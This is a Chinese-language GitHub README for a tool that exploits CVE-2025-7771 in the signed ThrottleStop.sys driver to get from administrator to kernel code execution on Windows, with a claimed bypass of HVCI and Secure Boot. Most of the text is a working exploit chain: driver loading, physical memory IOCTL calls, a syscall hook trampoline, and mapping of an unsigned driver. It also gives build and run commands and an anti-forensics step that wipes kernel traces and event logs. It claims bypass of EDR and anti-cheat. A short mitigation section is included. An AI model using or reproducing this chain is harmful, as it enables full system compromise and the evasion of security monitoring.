D4rkks/CVE-2025-7771-Vulnerability-Exploration
GitHub: D4rkks/CVE-2025-7771-Vulnerability-Exploration
演示如何通过合法签名驱动 ThrottleStop 的物理内存 IOCTL 绕过 HVCI 与 Secure Boot,实现内核级权限提升。
Stars: 1 | Forks: 0
# 🔓 ThrottleStop.sys 内核漏洞利用 — HVCI 兼容的物理内存映射器
## ⚠️ 免责声明
本项目仅出于**教育与研究目的**发布。目标是展示如何将已签名、可信的内核驱动程序武器化,以从管理员权限提升至 **SYSTEM/内核**,从而有效绕过现代 Windows 安全功能,包括 **HVCI(虚拟机强制代码完整性)** 和 **Secure Boot(安全启动)**。
**不得将此工具用于恶意目的。** 作者不对任何滥用行为负责。
## 📋 目录
- [漏洞概述](#vulnerability-summary)
- [受影响软件](#affected-software)
- [技术分析](#technical-analysis)
- [易受攻击的 IOCTL](#vulnerable-ioctls)
- [根本原因](#root-cause)
- [利用链](#exploitation-chain)
- [步骤 1 — 加载易受攻击的驱动程序](#step-1--loading-the-vulnerable-driver)
- [步骤 2 — 物理内存原语](#step-2--physical-memory-primitives)
- [步骤 3 — 定位系统调用页](#step-3--locating-the-syscall-page)
- [步骤 4 — 通过物理写入进行系统调用挂钩](#step-4--syscall-hooking-via-physical-write)
- [步骤 5 — 任意内核代码执行](#step-5--arbitrary-kernel-code-execution)
- [步骤 6 — 取证清理](#step-6--forensic-cleanup)
- [为何这能绕过 HVCI](#why-this-bypasses-hvci)
- [影响评估](#impact-assessment)
- [构建与使用](#build--usage)
- [缓解建议](#mitigation-recommendations)
- [参考资料](#references)
## 漏洞概述
| 字段 | 说明 |
|---|---|
| **CVE** | CVE-2025-7771 |
| **驱动** | `ThrottleStop.sys`(随 [ThrottleStop](https://www.techpowerup.com/download/techpowerup-throttlestop/) 一起发布) |
| **供应商** | TechPowerUp / Kevin Glynn |
| **类型** | 任意物理内存读/写 |
| **影响** | 本地权限提升(管理员 → 内核) |
| **CVSS** | 8.2(高危) |
| **签名** | 通过 WHQL / Attestation 由 Microsoft 签名 |
| **HVCI 绕过** | ✅ 是 — 驱动合法签名,被 CI 策略允许 |
## 受影响软件
- **ThrottleStop** — 所有随 `ThrottleStop.sys` 发布的版本,该驱动包含物理内存映射 IOCTL
- **Windows 10** 1903 – 22H2(x64)
- **Windows 11** 21H2 – 24H2(x64),包括启用了 **HVCI** 的版本
- 测试环境:Windows 11 26100.x(24H2),启用 Secure Boot + HVCI
## 技术分析
### 易受攻击的 IOCTL
`ThrottleStop.sys` 内核驱动暴露了一个设备(`\\.\ThrottleStop`),可被任何本地管理员访问。它实现了两个提供**无限制物理内存访问**的 IOCTL:
```
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
```
#### 读取物理内存(`0x80006498`)
```
Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
```
驱动调用 `MmMapIoSpace()` 将请求的物理地址映射到内核虚拟空间,将数据复制到输出缓冲区,然后调用 `MmUnmapIoSpace()`。**不对物理地址执行任何验证**——可以读取物理地址空间中的任意地址。
#### 写入物理内存(`0x8000649C`)
```
Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
```
与读取机制相同,但将用户提供的数据写入映射的物理地址。同样**不执行地址或范围验证**。
### 根本原因
该驱动的设计目的是允许 ThrottleStop(一个 CPU 降压/节流工具)直接读写 MSR 和硬件寄存器。物理内存 IOCTL 很可能是为了访问 PCI 配置空间或 CPU 温度传感器的 MMIO 而添加,但实现中**完全没有边界检查**:
1. ❌ 未检查物理地址属于 MMIO 还是 RAM
2. ❌ 未检查地址是否在调用者预期的内存范围内
3. ❌ 未实施除要求 `GENERIC_READ | GENERIC_WRITE` 句柄访问外的 ACL 限制
4. ❌ 未设置允许的物理地址范围白名单
这将一个合法硬件工具驱动程序转变为**完整的内核级读/写原语**。
## 利用链
该利用链从本地管理员账户提升至**任意内核代码执行**,实际上实现了 ring-0 的 SYSTEM 级别控制。
### 步骤 1 — 加载易受攻击的驱动程序
映射器将 `ThrottleStop.sys` 释放到 `%TEMP%`,在 `HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop` 下创建服务注册表项,并通过 `NtLoadDriver()` 加载它:
```
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
```
### 步骤 2 — 物理内存原语
通过设备句柄,利用程序可以读写**系统中的任意物理地址**:
```
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
```
利用程序将这些操作封装为辅助函数,支持以 1、2、4 或 8 字节为单位的分块读写,实现任意长度的传输。
### 步骤 3 — 定位系统调用页
为了执行任意内核函数,需要找到**系统调用处理器的物理地址**。它以 `NtSetEaFile` 为目标(这是一个很少被监控的系统调用):
1. **解析 RVA**:通过 `LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES)` 在用户态加载 `ntoskrnl.exe`,获取 `NtSetEaFile` 的 RVA
2. **计算偏移**:由于 ntoskrnl 以 **2MB 大页** 映射,函数在 2MB 页内的物理偏移 = `RVA & 0x1FFFFF`
3. **扫描物理内存**:从注册表(`HARDWARE\RESOURCEMAP\System Resources\Physical Memory`)枚举物理内存范围,以 2MB 为步长遍历并比对字节:
```
for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}
```
4. **验证**:调用被挂钩的系统调用,触发 `PsGetProcessSectionBaseAddress(current_pid)` 并验证返回的基址是否与 `GetModuleHandle(NULL)` 匹配。
### 步骤 4 — 通过物理写入进行系统调用挂钩
一旦获得 `NtSetEaFile` 的物理地址,利用程序会通过物理内存写入安装一个**12 字节的跳板**:
```
; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
```
```
// Install hook
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Trigger from usermode
NtSetEaFile(args...); // → jumps to target_function in kernel!
// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);
```
### 步骤 5 — 任意内核代码执行
通过系统调用挂钩原语,利用程序可以**调用任意内核函数并传入任意参数**:
```
// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// Copy driver image to kernel pool via RtlCopyMemory
syscall(RtlCopyMemory_addr, pool, image_data, image_size);
// Call the driver's DriverEntry
syscall(entry_point, pool_base, image_size);
```
这实际上**映射并执行了一个未签名的驱动程序**,实现了完整的权限提升。
### 步骤 6 — 取证清理
加载有效载荷后,利用程序会清除所有痕迹:
| 工件 | 清理方法 |
|---|---|
| **PiDDB 缓存** | 解锁 `PiDDBLock`,在 AVL 树中查找条目并通过 `RtlLookupElementGenericTableAvl` 解除链接并删除 |
| **MmUnloadedDrivers** | 扫描 50 项环形缓冲区,匹配名称并清零条目 |
| **BigPoolTable** | 扫描 `PoolBigPageTable` 查找分配虚拟地址,清零该项 |
| **池头** | 将 `POOL_HEADER` 标签伪造为 `MmSt`(常见系统标签) |
| **PE 头** | 清零 DOS/NT 头、导入目录、调试目录、可丢弃节 |
| **注册表** | 删除 `HKLM\...\Services\ThrottleStop` 键树 |
| **驱动文件** | 删除 `%TEMP%` 中的 `ThrottleStop.sys` |
| **事件日志** | 清除系统和安全日志中的相关条目 |
| **Prefetch / BAM** | 清理 ShimCache、BAM(后台活动调节器)和 Prefetch |
## 为何能绕过 HVCI
**HVCI(Hypervisor-Enforced Code Integrity)** 通过第二级地址转换(SLAT/EPT)在内核虚拟页面上强制实施 W^X(写或执行),以防止未签名代码在内核空间执行。
此利用能绕过 HVCI 的原因如下
1. **合法驱动**:`ThrottleStop.sys` 已正确签名并通过 CI 验证,因此即使 HVCI 启用也能正常加载。
2. **物理访问而非虚拟**:IOCTL 使用 `MmMapIoSpace()`,它在物理地址上操作。HVCI 的保护是在虚拟页表级别通过 EPT 实施的,但 `MmMapIoSpace()` 会为物理页创建一个具有适当权限的新虚拟映射。对系统调用物理页面的写入修改了现有虚拟映射所指向的 RAM 内容。
3. **可执行池内存**:利用程序通过 `ExAllocatePool2` 并指定 `POOL_FLAG_NON_PAGED_EXECUTE` 分配内存,这是**合法且 HVCI 批准的**获取可执行内核内存的方式。内核本身使用这种方式用于 JIT 编译代码和某些池分配。
4. **未加载未签名驱动**:映射器从未调用 `NtLoadDriver` 加载未签名镜像。相反,它将有效载荷手动写入已可执行的内核池内存,并通过系统调用挂钩调用其入口点。
```
┌─────────────────────────────────────────────┐
│ Usermode (Admin) │
│ │
│ 1. Load ThrottleStop.sys (signed, trusted) │
│ 2. Open \\.\ThrottleStop device │
│ 3. Read/Write physical memory via IOCTLs │
└──────────────┬──────────────────────────────┘
│ DeviceIoControl
▼
┌─────────────────────────────────────────────┐
│ ThrottleStop.sys (Kernel) │
│ │
│ MmMapIoSpace(PhysAddr) → memcpy → unmap │
│ No validation, any physical address OK │
└──────────────┬──────────────────────────────┘
│ Physical Memory Write
▼
┌─────────────────────────────────────────────┐
│ NtSetEaFile Physical Page │
│ │
│ Original bytes overwritten with: │
│ mov rax, ; push rax; ret │
│ │
│ → Any usermode NtSetEaFile() call now │
│ executes arbitrary kernel code │
└──────────────┬──────────────────────────────┘
│ Kernel Code Execution
▼
┌─────────────────────────────────────────────┐
│ Full Kernel Compromise │
│ │
│ • ExAllocatePool2 (executable pool) │
│ • Map unsigned driver into kernel memory │
│ • Call DriverEntry → SYSTEM-level access │
│ • Scrub all forensic artifacts │
└─────────────────────────────────────────────┘
```
## 影响评估
| 类别 | 影响 |
|---|---|
| **机密性** | 🔴 完全 — 可读取任意内核/进程内存 |
| **完整性** | 🔴 完全 — 可写入任意内核结构、挂钩任意函数 |
| **可用性** | 🟡 高 — 不当写入会导致系统崩溃(BSOD) |
| **身份验证绕过** | 🔴 从管理员获得 SYSTEM 权限 |
| **反作弊绕过** | 🔴 绕过内核级反作弊(EAC、BattlEye、Vanguard) |
| **EDR 绕过** | 🔴 在 EDR 钩子之下运行,可解除/禁用安全工具 |
| **HVCI** | 🔴 通过合法驱动绕过 |
| **Secure Boot** | 🔴 绕过(驱动具有有效签名) |
## 构建与使用
### 要求
- Visual Studio 2022(带 C++ 桌面工作负载)
- Windows SDK 10.0.26100.0+
- 目标计算机上的管理员权限
### 构建
```
git clone https://github.com//throttlestop-mapper.git
cd throttlestop-mapper
# 在 Visual Studio 中打开 imxyviMapper.sln
# 生成 → x64 Release
```
### 运行
```
# 基本用法 — 自动扫描物理内存中的系统调用页面
mapper.exe payload_driver.sys
# 使用预计算的 Kernel CR3(更快,跳过扫描)
mapper.exe payload_driver.sys 1AD000
```
### 输出
```
[+] Driver: 45056 bytes
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Loading vulnerable driver...
[+] Driver loaded, handle=0x0000000000000094
[+] IOCTL OK
[*] Finding syscall page...
[+] Syscall page found
[*] Fixing imports...
[*] Allocating executable kernel pool (49152 bytes)...
[+] Pool allocated at: FFFFA40B7C8E0000
[*] Writing driver to kernel...
[*] Calling entry point at 0xFFFFA40B7C8E3040...
[+] Entry point returned
[*] Cleaning MmUnloadedDrivers...
[+] MmUnloadedDrivers successfully scrubbed
[*] Unloading vulnerable driver...
[+] Done
```
## 缓解建议
### 对于 Microsoft / Windows
1. **驱动程序黑名单**:将 `ThrottleStop.sys` 的哈希值添加到 [Microsoft 易受攻击驱动程序黑名单](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules)
2. **增强 HVCI**:阻止来自非白名单驱动程序的针对 RAM 支持物理地址的 `MmMapIoSpace` 调用
3. **IOCTL 审计**:在 WHQL 认证期间标记暴露原始物理内存原语的驱动程序
### 对于 ThrottleStop 开发者
1. **移除物理内存 IOCTL** — 使用 MSR 专用 IOCTL(`rdmsr`/`wrmsr`)替代原始的 `MmMapIoSpace`
2. **实施地址白名单** — 限制 `MmMapIoSpace` 仅针对已知 MMIO 范围(PCI BAR 区域、LAPIC 等)
3. **添加 ACL 限制** — 将设备访问限制为 ThrottleStop 应用程序令牌的 SID
### 对于系统管理员
1. **WDAC 策略**:创建自定义 Windows Defender 应用程序控制(WDAC)策略,按哈希值阻止 `ThrottleStop.sys`
2. **监控驱动加载**:通过 Sysmon 事件 ID 6 警报异常的内核驱动加载
3. **移除 ThrottleStop**:如果不需要用于 CPU 管理,请卸载 ThrottleStop
## 参考资料
- **[Demoo1337/ThrottleStop — CVE-2025-7771 PoC](https://github.com/Demoo1337/ThrottleStop)** — 原始漏洞研究与利用
- [physmeme — 物理内存利用框架](https://github.com/xeroxz/physmeme)(MIT 许可,xerox/IDontCode)
- [kdmapper — 内核驱动映射器](https://github.com/TheCruZ/kdmapper)
- [Microsoft Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules)
- [HVCI 设计概述 — Microsoft](https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard)
- [MmMapIoSpace — Microsoft 文档](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmmapiospace)
## 许可证
本项目在 **MIT 许可证** 下发布,仅用于教育研究用途。底层 `physmeme` 框架版权归 2020 xerox 所有(MIT 许可证)。
标签:CVE-2025-7771, HVCI绕过, IOCTL漏洞, LPE, Secure Boot绕过, syscall hook, ThrottleStop, ThrottleStop.sys, UML, Web报告查看器, Windows内核, 内核hook, 内核代码执行, 内核漏洞, 内核级攻击, 内核驱动, 协议分析, 本地提权, 权限提升, 漏洞分析, 物理内存映射, 物理内存读写, 白帽子, 签名驱动武器化, 系统提权, 网络协议, 路径探测, 驱动安全